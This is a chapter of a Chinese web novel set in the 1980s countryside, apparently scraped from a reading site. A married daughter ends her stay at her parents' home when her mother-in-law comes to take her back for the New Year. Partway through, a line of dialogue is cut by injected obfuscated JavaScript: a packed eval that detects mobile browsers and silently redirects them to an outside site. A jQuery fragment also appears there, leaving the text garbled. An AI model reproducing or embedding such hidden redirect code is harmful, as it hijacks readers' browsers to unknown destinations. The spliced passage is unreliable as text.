27. 总算走了

作品:《八零从野丫头到大厂长

    天还没亮透,秦麦苗就轻手轻脚地起了身。她借着窗纸透进的微光,小心翼翼地穿好衣裳,生怕惊醒了熟睡的女儿和妹妹。


    推开房门,凛冽的晨风扑面而来,让原本还有些困意的她瞬间清醒。秦麦苗站在檐下深深吸了口气,冰凉的空气灌进肺里,总算把那些纷乱的念头暂时压了下去。


    她拿起靠在墙角的扫帚,开始机械地清扫院子。竹扫帚划过冻硬的地面,发出"沙沙"的声响,在寂静的黎明时分格外清晰。一下,两下......秦麦苗专注地数着,仿佛这样就能把那些烦心事都扫走似的。


    扫完院子,她转身钻进杂物棚。掀开草帘,揪出两把蔫达达的白菜帮子。菜刀在案板上"咚咚"作响,很快就把菜帮剁成了碎块。秦麦苗熟练地拌上麸糠,端着食盆往鸡圈走去。


    "咕咕咕——"她刚走近,鸡鸭们就扑棱着翅膀围了上来,你争我抢地往食槽边挤。秦麦苗把食料倒进去,看着它们争先恐后地啄食,眼神渐渐飘远了。


    也不知道家里的那些鸡鸭怎么样了?她无意识地攥紧了空食盆,眉头也不自觉皱了起来。妞妞爸那个粗心性子,怕是连食槽空了都不知道。


    想到这里,秦麦苗的眉头越皱越紧。食盆边缘硌得手心发疼,她却恍然未觉。直到一只芦花鸡扑腾着溅起尘土,才猛地回过神来。


    等到秦家其他人陆续起床,家里已被秦麦苗打扫一新。只见院子干净整洁,鸡鸭吃饱了在圈里悠闲地踱步,水缸里的水满得几乎要溢出来,锅灶上冒着蒸腾的白气。


    “二姐,你这是多早就起来了?干了这么多活。”秦秧苗心疼地看着姐姐眼下泛着的青影。自从回娘家,二姐就像个外人似的处处赔着小心,生怕哪里做得不够好。可这里明明也曾是她的家啊!


    秦秧苗心里发酸,一把夺过秦麦苗手里的笤帚:"二姐这里有我,你去看看妞妞吧,饭好了我叫你。"


    秦麦苗点点头,她确实惦记着闺女。算算时间,妞妞也该醒了。


    “那我先去瞧瞧。”秦麦苗转身去看闺女。


    秦秧苗攥着笤帚的手紧了又紧。竹柄上的毛刺扎进掌心,她却浑然不觉。二姐在这个家变得像个客人,拘谨、客气而又疏离。这里曾经是她的家,可现在却分明已经不是了。


    秦秧苗想要一处自己可以做主的地方,让大姐,二姐,妞妞,自己都可以在里头畅快肆意的生活。要怎样才能拥有这样的地方呢?


    ***


    饭桌上,陈秀娥几次欲言又止,话到嘴边终究咽了回去。秦麦苗似有所觉,握筷的手微微一颤。


    她低下头,借着咬馒头的动作掩饰自己的情绪,可眼圈却不争气地红了。今天是腊月二十八,不必家里说,最晚明天她必须走了。


    饭桌上气氛压抑的得让人喘不过气。秦秧苗夹了一筷子咸菜放进秦麦苗碗里,故作轻松地说道:“二姐,多吃点,你忙活这一早上,肯定饿了。”


    秦麦苗抬头挤出个笑:“嗯,你也吃。”她的声音十分嘶哑难听。


    吃罢晚饭,秦麦苗不等旁人开口,自己先说了明天要走的话。


    屋里霎时静了下来。秦大兴不在家,秦家树一向不参与这些事,陈秀娥张了张嘴又合上,脸上显出几分踌躇。在她的认知里出嫁的闺女过年是绝不能留在娘家的,可是望望老实巴交的二闺女,一个好“字”卡在嘴里怎么都说不出。


    秦秧苗劝道:“二姐,你急啥?咱爸都说让你住下,干啥急着走?”


    秦麦苗说话前,眼睛不自觉地往陈秀娥脸上溜了一圈,见她妈眉头微蹙,声音便又低了几分:“不了,离家这些日子,我也惦记着。再说眼瞅着要过年了,那边还有一摊子事等着我呢。”


    秦秧苗听了这话,心里酸涩。她晓得这事由不得自己做主,可看着二姐这样,实在心疼得紧。她咬着嘴唇,声音有些哽咽:“二姐……”


    陈秀娥长叹一声,挪到二闺女身边坐下,轻轻拍着她的背:“二丫头,回去好好过日子。等过些时候想家了,再带着妞妞回来住几天。”


    秦麦苗温顺地点了点头,轻声应道:“妈,我知道了。”


    腊月二十八,蒸馒头的正日子。秦秧苗秦秧苗正在灶台前忙活,锅里蒸的馒头的水咕嘟咕嘟滚着,白汽直往上窜。忽然,院门外有人高声吆喝:“嫂子在家不?我来看你来了。”


    秦秧苗赶忙在围裙上擦了擦手,探身往外瞧。只见院门口站着个中年妇人,穿着件洗得发白的蓝布棉袄,头发抿得油光水滑,手里提着个鼓鼓囊囊的布袋子。


    秦秧苗眯着眼打量,觉得这人面熟却一时想不起是谁。正愣神的工夫,那妇人已经迈进了院子,边走边扯着嗓子说:“哎哟喂,这不是秧苗嘛!几年不见都出落成大姑娘了,婶子差点没认出来!”


    这一嗓子让秦秧苗猛地一激灵——这不是二姐那个刻薄婆婆吗?她来干啥?


    二姐嫁过去这些年,没少受这老太太的气,回娘家总念叨婆婆偏心两个妯娌,对大儿子家不闻不问的。今儿太阳打西边出来了?


    秦秧苗心里打鼓,脸上却堆着笑迎上去:“哎呦婶子,您老怎么得空来了?快屋里坐!”


    冯老太笑眯眯地攥住秦秧苗的手,一口一个好闺女的夸着。眼珠子却滴溜溜转个不停,就这么会儿功夫,已经将院子得里里外外都扫了个遍。


    正说着,陈秀娥听见动静从屋里出来。两亲家一照面,顿时亲热得像见了失散多年的姐妹,你夸我气色好,我夸你身子骨硬朗,转眼又都数落起自家孩子不懂事,那热乎劲儿,不知道的还当是亲姐妹重逢呢。


    冯母一进门就拍着大腿数落儿子:"那个混小子可把我气坏了!昨儿才听说这事儿,我立马就赶过来给嫂子赔不是。原是要押着他一起来给嫂子你赔礼的,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910765|176087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谁成想这混账前天夜里摔了一跤,这会儿还在炕上躺着动弹不得呢!"


    陈秀娥一听这话,心里那口气顿时顺了不少。她正愁没个台阶下,又听说女婿受了伤,哪还顾得上计较,连忙关切道:“哎哟,光远这是咋整的?伤得重不?请大夫瞧过了没?”


    冯母脸上闪过一丝不自在,她哪好意思说儿子是遭了黑棍呢?只支吾道:"没啥大碍,就是伤了腿,养几天就好哦。”赶忙转移话题,“这些天麦苗和孩子可给嫂子添麻烦了。”


    “瞧您说的,”陈秀娥笑着摆手,“自家闺女外孙女,说啥麻烦不麻烦的话!住多久都应当。”


    正说着,秦麦苗已经收拾好包袱从侧屋出来了。听说丈夫受伤,她早就坐不住了,一见婆婆就说:“妈,我都收拾妥当了,咱这就回吧。”


    陈秀娥嗔怪地瞪她一眼:“你这丫头,女婿要紧,也得让你婆婆歇歇脚啊!好歹吃了晌午饭再走。”


    冯母连连摆手:“家里的事也多,嫂子你这里也忙,光远一个人躺着我也不放心。改日请嫂子去家里坐坐,咱姐俩好好唠唠。”


    说话间解开布袋子,露出黄灿灿的年糕:“仓促间也没带啥像样的,这是自家蒸的年糕,嫂子尝尝鲜。”


    陈秀娥接过年糕,只见糕体油亮,枣香扑鼻,不由赞道:"嫂子好手艺!这年糕蒸得真地道!"


    这时院外传来"嘚嘚"的蹄声,秦大兴赶着驴车到了门口。陈秀娥解释道:“天寒地冻的,当家的从队里借了车,送嫂子一程。”


    冯母道了谢,正要上车,秦秧苗急匆匆追出来,手里提着一兜用雪白屉布包好的热乎包子,递给秦麦苗:“婶子,二姐,这是刚出锅的菜包子,带着路上吃!”揭开包袱角,热气混着麦香直往外冒。


    秦麦苗接过包子,眼圈顿时红了。秦秧苗攥着她的手:“照顾好自己,过了年就回来。”


    “嗯”!秦麦苗嗓子眼发紧,只得点点头挤出一个字。


    冯母在一旁笑道:“瞧瞧这姐俩亲的!好闺女,别舍不得了,等过几天让你姐带着妞妞来拜年。”


    鞭子"啪"地一响,驴车吱呀呀动了起来。驴车越走越远,渐渐消失在村口的老槐树后头。


    人早走得没影了,秦秧苗还站在门口,眼巴巴望着驴车离开的方向。陈秀娥瞅她那模样,心里来气:“傻站着干啥?过两天你二姐不就回来拜年了?”


    见三丫头不吭声,她又补了句:“知足吧!你二姐婆婆能拉下脸来这一趟,够给你姐长脸了。要不你姐自个儿灰溜溜回去,那才叫难看呢!”


    秦秧苗撇了撇嘴,“妈您没听明白?冯光远伤了腿,她这是急着让我姐回伺候自己儿子呢!”


    陈秀娥瞪她一眼:“伺候自己男人本就应该,别管因为啥,有个台阶下就成啦!”


    陈秀娥心里一块石头落地,二丫头总算消停的走了。